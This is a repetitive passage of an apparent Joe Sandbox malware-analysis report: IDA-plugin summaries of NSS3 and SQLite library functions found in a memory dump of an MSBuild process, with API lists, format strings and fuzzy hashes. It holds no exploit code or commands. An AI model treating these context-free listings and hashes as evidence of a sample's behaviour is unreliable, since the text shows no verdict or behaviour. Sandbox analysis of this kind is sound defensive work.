Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: d6bfe66965f15d323d77a453a458e0dc3d69d2bfe2c8f6589975b9f7f62a49d3
Instruction ID: f9aaa6cce87520af2171675bc153925a7d1cb4d24280379b34396aa4b3397b28
Opcode Fuzzy Hash: d6bfe66965f15d323d77a453a458e0dc3d69d2bfe2c8f6589975b9f7f62a49d3
Instruction Fuzzy Hash: 7802AF79E06199CFDB04CF99C4C0AAEB7B2FF89308F284169D815AB751D731A805CBE1

Function 6CC54DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CC5536F,00000022,?,?,00000000,?), ref: 6CC54E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CC54F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CC54F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CC54FAE
free.MOZGLUE(?), ref: 6CC54FC8

Strings

%s=%c%s%c, xrefs: 6CC54FA9
%s=%s, xrefs: 6CC54F89

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: a6b57d227e1634d883dc7775e576afb6cd7edc9ecc364ad9d012b6eb1f70c7a5
Instruction ID: 2b5ff30044b7049c4d8ab4ff6b1ef06d438e3e4606382da444889a30c2355456
Opcode Fuzzy Hash: a6b57d227e1634d883dc7775e576afb6cd7edc9ecc364ad9d012b6eb1f70c7a5
Instruction Fuzzy Hash: D9514B31B051458BEB01CA6EC4907FFBBF5AF42308F988225E894A7B41F37598758799

Function 6CBE69A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBE6A02
EnterCriticalSection.KERNEL32(?), ref: 6CBE6AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CBE6AF9
sqlite3_free.NSS3(00000000), ref: 6CBE6B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CBE6BA6

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CBE6B9F
winDelete, xrefs: 6CBE6B71

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 1854c5dc9e52bc4ab62055dc29686ad0e65ba45dc681ac36ee81749b42d1d3c6
Instruction ID: 7368c5af696933ce0c56baf29b59ea3b9cb91b14615317da6b6d91795ab4ce98
Opcode Fuzzy Hash: 1854c5dc9e52bc4ab62055dc29686ad0e65ba45dc681ac36ee81749b42d1d3c6
Instruction Fuzzy Hash: 48513631B001589BFB08BF68DC59ABF3779EF4A759B544129E716D7A80EB304805CB93

Function 6CCC2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCC2FFD
sqlite3_initialize.NSS3 ref: 6CCC3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCC3032
sqlite3_mprintf.NSS3(6CD2AAF9,?), ref: 6CCC3073
sqlite3_free.NSS3(?), ref: 6CCC30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CCC30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CCC30BB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: c0bfbd24d98b147b6faae4c550b749fe39f4a1bd43c57fc4ef14bfd018ff2b21
Instruction ID: 72c0ab2563110a670608151b98644bdcbf179b942856a341b3f0a12e0955fa49
Opcode Fuzzy Hash: c0bfbd24d98b147b6faae4c550b749fe39f4a1bd43c57fc4ef14bfd018ff2b21
Instruction Fuzzy Hash: 5C418372700606ABDB10CF25D880A8AB7B5FF44359F198629EC5987B40F731F996CBD2

Function 6CC08CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CC1124D,00000001), ref: 6CC08D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CC1124D,00000001), ref: 6CC08D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08D73
PR_Unlock.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08D8C

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08DBA

Strings

KRAM, xrefs: 6CC08D3E
KRAM, xrefs: 6CC08CF9

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 0bccfbc6f830bca44e53608675322a35938d048936fbf92a4037fc5f9e192576
Instruction ID: ca04f511d372ccf149912dddfae89a1054514c7f9887e536f4414301974fc888
Opcode Fuzzy Hash: 0bccfbc6f830bca44e53608675322a35938d048936fbf92a4037fc5f9e192576
Instruction Fuzzy Hash: 41216BB1B047028BDB00AF39C484A5ABBF4BF45308F15CAAAD98887701EB35D845CB91

Function 6CD00ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD00EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD00EFA

Part of subcall function 6CBEAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBEAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CD00ED9, 6CD00EE5, 6CD00F06, 6CD00F0B
Aborting, xrefs: 6CD00EB3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: eedac35080bbfee8a331f0c01474de4f476e3805db5f9c900c075b968c276e56
Instruction ID: 136806ba5ac47ef87f2159b68fd501c7ea74d02ea426749c42efb9a6c7df9570
Opcode Fuzzy Hash: eedac35080bbfee8a331f0c01474de4f476e3805db5f9c900c075b968c276e56
Instruction Fuzzy Hash: F401C4B5A00114BBEF016F58DC4589B3F7CDF872A8B014064FE0997721D731E9149BE2

Function 6CCC4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCC4DE0

Strings

misuse, xrefs: 6CCC4DD5
invalid, xrefs: 6CCC4DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCC4DCB
API call with %s database connection pointer, xrefs: 6CCC4DBD
%s at line %d of [%.10s], xrefs: 6CCC4DDA

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 80cdfccba108d553061ac1c68eef751865d73707c9f0635a6be595132c126436
Instruction ID: 25e995d815a80f4e9643c279e8dd0f9f6c1979a1bd36351ae43f1effa47e72f1
Opcode Fuzzy Hash: 80cdfccba108d553061ac1c68eef751865d73707c9f0635a6be595132c126436
Instruction Fuzzy Hash: 8EF05911F085682BE700A255CC10FA633558F0271EF4649E1EE087BEB2F20AD88482D2

Function 6CCC4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCC4E4D

Strings

misuse, xrefs: 6CCC4E42
invalid, xrefs: 6CCC4E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCC4E38
API call with %s database connection pointer, xrefs: 6CCC4E2A
%s at line %d of [%.10s], xrefs: 6CCC4E47

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 51062ad86d70d32ce7874ff9d8076044b56087a141ef51b6f02272e0d043a3d2
Instruction ID: da0a94412428beabee03150fc0ff8736a00cac69da6bcdbbb4b35237172ee00c
Opcode Fuzzy Hash: 51062ad86d70d32ce7874ff9d8076044b56087a141ef51b6f02272e0d043a3d2
Instruction Fuzzy Hash: 19F09E10F48828ABF71092618C10FA6B7858B0131DF4BC4A5EB08B7EB3E209D82542D3

Function 6CC30C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?,?,00000000,?,?), ref: 6CC30CB3

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?), ref: 6CC30DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?), ref: 6CC30DEC

Part of subcall function 6CC50F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
Part of subcall function 6CC50F10: malloc.MOZGLUE(00000001), ref: 6CC50F30
Part of subcall function 6CC50F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000), ref: 6CC30E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?,?,00000000), ref: 6CC30E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30E79

Part of subcall function 6CC41560: TlsGetValue.KERNEL32(00000000,?,6CC10844,?), ref: 6CC4157A
Part of subcall function 6CC41560: EnterCriticalSection.KERNEL32(?,?,?,6CC10844,?), ref: 6CC4158F
Part of subcall function 6CC41560: PR_Unlock.NSS3(?,?,?,?,6CC10844,?), ref: 6CC415B2

Part of subcall function 6CC0B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CC11397,00000000,?,6CC0CF93,5B5F5EC0,00000000,?,6CC11397,?), ref: 6CC0B1CB
Part of subcall function 6CC0B1A0: free.MOZGLUE(5B5F5EC0,?,6CC0CF93,5B5F5EC0,00000000,?,6CC11397,?), ref: 6CC0B1D2

Part of subcall function 6CC089E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC088AE,-00000008), ref: 6CC08A04
Part of subcall function 6CC089E0: EnterCriticalSection.KERNEL32(?), ref: 6CC08A15
Part of subcall function 6CC089E0: memset.VCRUNTIME140(6CC088AE,00000000,00000132), ref: 6CC08A27
Part of subcall function 6CC089E0: PR_Unlock.NSS3(?), ref: 6CC08A35

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: e0964189ef671c1a26600037a08c015f2a859cc167773dae2beb4eb800403697
Instruction ID: cc85b968adfe214ca2a70a857aa6bb00bafb124219f7d0dc0d49493a77b2e5b0
Opcode Fuzzy Hash: e0964189ef671c1a26600037a08c015f2a859cc167773dae2beb4eb800403697
Instruction Fuzzy Hash: AC51E7B6E002105FEB019F69EC81AAB37A8AF1521CF551064EC0997B42FB31ED1986A2

Function 6CBE6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CBE6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CBE6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CBE6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CBE6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CBE6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CBE7010
sqlite3_value_blob.NSS3(?,?), ref: 6CBE701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CBE7052

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 98532ee4adebba7924d6844888bb92b5657f3654d856b54ce5de086d74cd039d
Instruction ID: cd61c2d54faabc78542d257d3259a9dfdb4190928985fc3ab456346f11e409f9
Opcode Fuzzy Hash: 98532ee4adebba7924d6844888bb92b5657f3654d856b54ce5de086d74cd039d
Instruction Fuzzy Hash: E061D3B1E1428A8FDF00CFA8D8107EEB7B2AF89748F284168D515BB752E7359D05CB91

Function 6CC58F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CC57313), ref: 6CC58FBB

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CC57313), ref: 6CC59012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC590DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC590F1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5906B

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CC57313), ref: 6CC59128

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: c6feaa2a3363e479357d2a8932d4a65de6d5fa55182ac560903e703bc118a48b
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: F451D3B0A002118FEB108F2ADC44B26B7F5AF84318F9544A9D915D7B51FB31E832CB95

Function 6CC388E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC388FC

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC38913

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CD1D864,?), ref: 6CC38947

Part of subcall function 6CC4E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CC4E245
Part of subcall function 6CC4E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC4E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC3895B
DER_GetInteger_Util.NSS3(?), ref: 6CC38973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC38982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC389EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC38A12

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

